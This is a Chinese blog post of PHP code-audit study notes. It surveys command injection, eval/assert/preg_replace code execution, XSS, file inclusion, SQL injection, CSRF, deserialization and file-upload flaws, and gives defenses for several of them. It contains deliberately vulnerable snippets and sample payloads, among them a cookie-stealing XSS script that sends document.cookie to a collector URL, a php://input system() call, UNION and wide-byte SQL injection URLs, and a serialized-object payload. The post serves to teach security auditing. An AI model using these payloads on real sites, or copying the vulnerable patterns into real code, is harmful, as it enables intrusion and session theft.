2018最新代码审计教程笔记-代码审计入门

由于之前的学习不是非常的系统,故此重新整理学习代码审计”,博客也更新相关内容。

0x01:调试函数

echo (print): 这是最简单的输出数据调试方法,一般用来输出变量值,或者你不确定程序执行 到了哪个分支的情况下是用。

print_rvar_dump(var_export)debug_zval_dump 这个主要是用来输出变量数据值,特别是数组和对象数据,一般我们在查看接口 返回值,或者某些不太确定变量的时候,都可以使用这两个 API

var_dump 会额外输出数据类型: print_r 输出:格式很整齐,跟 var_dump 的区别是没有类型数据,并且布尔值 的 false 和值 NULL 输出为空 var_export 输出,所有的数据是可以作为组织好的变量输出的,都是能够作为 直接赋值使用: 需要注意的一点是, var_export 对于资源型的变量会输出 NULL debug_zval_dump 输出结果跟 var_dump 类似,唯一增加的一个值是 refcount, 就是记录一个变量被引用了多少次,这是 php copy on write (写时复制) 的 机制的一个重要特点。

exit()退出函数

0x02:注释

// 这是单行注释

/* 这个是多行注释 */

0x03: 单引号跟双引号的区别

双引号解析变量 单引号不解析变量

0x04:超全局变量

超全局变量 — 超全局变量是在全部作用域中始终可用的内置变量

php 中可由用户操作的全局变量列表如下:

$GLOBALS — 引用全局作用域中可用的全部变量

$_SERVER — 服务器和执行环境信息

$_GET HTTPGET 变量

$_POST HTTPPOST 变量

$_FILES HTTP 文件上传变量

$_REQUEST HTTPRequest 变量

$_SESSION Session 变量

$_ENV — 环境变量

$_COOKIE HTTPCookies

0x05:命令注入

攻击:

PHP 执行系统命令可以使用以下几个函数:

Linux Unix Windos

systemexecpassthru``(反引号)shell_execpopenproc_openpcntl_exec

语法:

String system (string$command[,int&$return_var])

String exec(string$command[,array&$output[,int&$return_var]])

voidpassthru(stringcommand,int&return_var)

String shell_exec(stringcommand) 需要echo与反引号类似

`` 反引号

resourcepopen(string$command,string $mode)

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env[,array$other_options]]])

voidpcntl_exec(string$path[,array$args [,array$envs]])

防御:

当用户提供的数据传入此函数,使用 escapeshellarg() escapeshellcmd() 来确保用户欺骗 系统从而执行任意命令。

语法:escapeshellarg(string$arg)

可以用到 php 的安全中,会过滤掉 arg 中存在的一些特殊字符。在输入的参数中如果包含中 文传递给 escapeshellarg,会被过滤掉。

escapeshellcmd(string$command)

escapeshellcmd()函数会转义命令中的所有 shell 元字符来完成工作。这些元字符包括: #&;` , |*?~ <>^()[]{}$\\

0x06:命令注入函数

常见代码执行函数 eval assert preg_replace

1.eval函数代码执行注入

<?php
if(isset($_GET['dyboy'])){
$dyboy=$_GET['dyboy']; eval("\$dyboy=$dyboy;");
}
?>

2.assert 代码执行注入

<?php
if(isset($_GET['dyboy'])){
$dyboy=$_GET['dyboy']; assert("\$dyboy=$dyboy;");
}
?>

3.preg_replace 正则代码执行注入

pattern 中存在/e 模式修饰符,即允许执行代码。(简而言之:有/****e***这样的字串儿存在即可)

pattern 在一个参数

<?php
echo$regexp= $_GET['reg'];
 $var='<php>phpinfo()</php>';
preg_replace("/<php>(.*?)$regexp",'\\1', $var);
?>

Replacement() 第二个参数

<?php preg_replace("/dyboy/e",$_GET['dyboy'],"Ilove dyboy"); ?>

preg_replace()第三个参数注射

<?php preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies","\\1", $_GET['dyboy']); ?>

最喜欢看到的情况

0x07XSS漏洞(脚本代码执行漏洞)

反射型、存储性、DOM

一.反射型

1.直接输出

<?php echo $_GET['dyboy']; ?>

2.$_SEVER变量(需要找到他们的输出地方)

$_SERVER['PHP_SELF']


$_SERVER['HTTP_USER_AGENT']

$_SERVER['HTTP_REFERER']

$_SERVER['REQUEST_URI']

3.HTTP请求头

User-Agent

Referer

4.利用:

Test<script>alert(1);</script>

Cookie

<script>

  var i=newImage;

  i.src="http://localhost:81/xss.php?c="%2bdocument.cookie;

</script>

Modify headers


二、存储型

1.审计sql语句

关注用户可输入传参到数据库的内容是否过滤完整

DVWA上自行测试

2.过滤

Htmlspecialchars()输出处转义

三、DOM

0x08:文件包含(本地包含&远程包含)

include,include_once,require,require_once

PHP 中,有四个用于包含文件的函数,当使用这些函数包含文件时,文件中包含的 PHP 代码会被执行。

下面对它们之间的区别进行解释:

include():当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来, 发生错误时只给出一个警告,继续向下执行。

include_once():功能和 include()相同,区别在于当重复调用同一文件时,程序只调用一次。

require()

1.require()include()的区别在于 require()执行如果发生错误,函数会输出错误信 息,并终止脚本的运行。

2.使用 require()函数包含文件时,只要程序一执行,立即调用文件,而 include()只有程序执行到该函数时才调用。

require_once():它的功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。

本地包含: gpc 影响 截断%00 (5.3.4>php版本才可使用00截断)

远程包含: allow_url_fopen allow_url_include On

http://www.dyboy.cn/url_include_test.txt

伪协议:(查看源码)

1.allow_url_include= On PHP>=5.2.0 POST

参数:php://input

Data: <?php systemn(‘ipconfig’); ?>

-------------input的内容为data,可以是字符串儿如上,我们直接代码执行

2.无要求(本地文件内容包含转化为base64编码的字串儿)GET

参数:php://filter/read=convert.base64-encode/resource=index.php

 

0x09SQL注入

什么是 SQL 注入(SQLInjection

SQL 注入攻击指的是通过构建特殊的输入作为参数传入 Web 应用程序,而这些 输入大都是 SQL 语法里的一些组合,通过执行 SQL 语句进而执行攻击者所要的操 作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

审计SQL语句

SELECTDELETEUPDATEINSERT

输入参数

Sql语句中的宽字节“運” %23=#  %27=’  %5c=\

Example%df\= %df%5c%27=縗’

http://www.test.com:81/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=

攻击:

http://localhost/test.php?id=-1%20union%20select%201,user%28%29,3%20f rom%20book

防御:

通过转义的方式

 1.开启 gpc

 2.mysql_real_escape_string

 3.addslashes    tips${${phpinfo();}}

 4..关键字过滤

0x10CSRF跨站请求伪造

攻击:

查看表单提交的地方

比如用户资料修改,管理员的操作是否验证

防御:

1.验证 HTTP Referer 字段

2.在请求地址中添加 token 并验证

3.HTTP 头中自定义属性并验证

0x11:动态函数执行与匿名函数执行

一:动态函数执行:

函数与函数之间的调用,可能会造成的漏洞。

二:匿名函数执行: 匿名函数(Anonymousfunctions) ,也叫闭包函数(closures),允许 临时创建一个没有指定 名称的函数。最经常用作回调函数(callback)参数的值。 create_function 创建匿名函数

动态函数Example

 

http://www.test.com:81/safe/test.php?fun=phpinfo

 

匿名函数:

http://www.test.com:81/safe/test.php?fun=1));}phpinfo();//

构造参数实现代码执行

0x12 unserialize 反序列化漏洞

(算是二次漏洞利用)

1.unserialize 函数的参数可控

2.脚本中存在一个构造函数、析构函数、__wakeup()函数中 有类

3.对象中的成员变量的值

反序列化的变量会覆盖变量中的值

Example

 

反序列化:

http://www.test.com:81/safe/test.php?unse=O:4:%22demo%22:1:{s:4:%22test%22;s:10:%22phpinfo();%22;}

 

0x13:变量覆盖漏洞

至少存在$$

变量覆盖漏洞产生的原因有两种:

1.register_globals on 的情况,PHP4 默认开启,PHP5 以后默认关闭。

2.人为注册成为全局变量

全局变量的取值与赋值

0x14:文件管理漏洞

PHP 的用于文件管理的函数,如果输入变量可由用户提交,程序中也没有做数据验证,可 能成为高危漏洞

常见函数 copyrmdirunlinkdeletefwritechmodfgetcfgetcsvfgetsfgetssfilefile_get_contents freadreadfileftruncatefile_put_contentsfputcsvfputs fopen

0x15:文件上传漏洞

审计函数:move_uploaded_file

超全局变量$_FILES

攻击:

1.后缀名是图片格式

2.前缀名不能是外部提交的

3.上传的目录不可以是获取外部提交的路径 1.asp;/1213.asp.jpg

防御:

1. 使用白名单方式检测文件后缀

2.上传之后按md5(‘str’+时间)生成文件名称

3. 上传目录脚本文件不可执行

4. 注意%00

5. Content-Type 验证


   基本上就没啥了,后续会更新一些实战(最新漏洞)的内容,本文章参考网上大部分的审计教程总结而来,(算是信息安全专业的代码审计入门干货),大家有任何问题都可以直接Q我(问问题请直接入主题,截图+问题,不要问在不在!!!),关注本博客或者DYBOY.CN即可获得最新的资源和教程哦~

注:本文属于原创文章,转载请注明本文地址!

作者QQ:1099718640

CSDN博客主页:http://blog.csdn.net/dyboy2017

Github开源项目:暂无开源

发布了51 篇原创文章 · 获赞 56 · 访问量 9万+

猜你喜欢

转载自blog.csdn.net/dyboy2017/article/details/78934407